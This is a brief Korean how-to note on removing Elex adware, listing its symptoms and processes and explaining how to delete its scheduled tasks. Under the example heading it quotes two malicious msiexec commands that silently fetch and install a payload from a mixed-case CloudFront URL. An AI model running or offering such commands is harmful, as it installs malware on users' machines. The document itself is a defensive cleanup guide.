[Virus] Adware Elex 대처 방법
* 증상
- 인터넷 브라우저 시작페이지 바뀜
- 다양한 프로세스와 서비스가 자동 실행됨
C:\Windows\System32\svchost.exe -k Kitty -s
Kitty.dll
svchost.exe -k WinSAPSvc
svchost.exe -k SNARE
C:\Program Files (x86)\MIO\MIO.exe
C:\Windows\psgo\psgo.ps1
Antanna
{0BC3B616-092D-4303-86DE-CB69DC1E7C51}\_ALLOWDEL_32c8f
* 해결 방법
- 바이러스 검사
- Malwarebytes 로 검사
- 하지만 이후에도 계속해서 주기적으로 감염된다
- 작업스케줄러 설정
(내컴퓨터 우클릭 -> 관리)
- 시스템 도구 -> 작업 스케줄러 -> 작업 스케줄러 라이브러리
- msiexec.exe 이후 인터넷 주소가 있는 작업을 찾아서 없앤다
<예>
Piwuied
msiexec /i hTTp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=Samsuxxxxxxxxxxxxxxxxxxxxxx&d=20170409 /q
Samsung Update
msiexec /i hTtP://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=Samsxxxxxxxxxxxxxxxxxxxxxxx&d=20170426 /q
//=================
//참고
Microsoft Sysinternals Suite의 Autoruns를 너무 철썩같이 믿다가 2~3주 고생
Farbar Recovery Scan Tool
https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/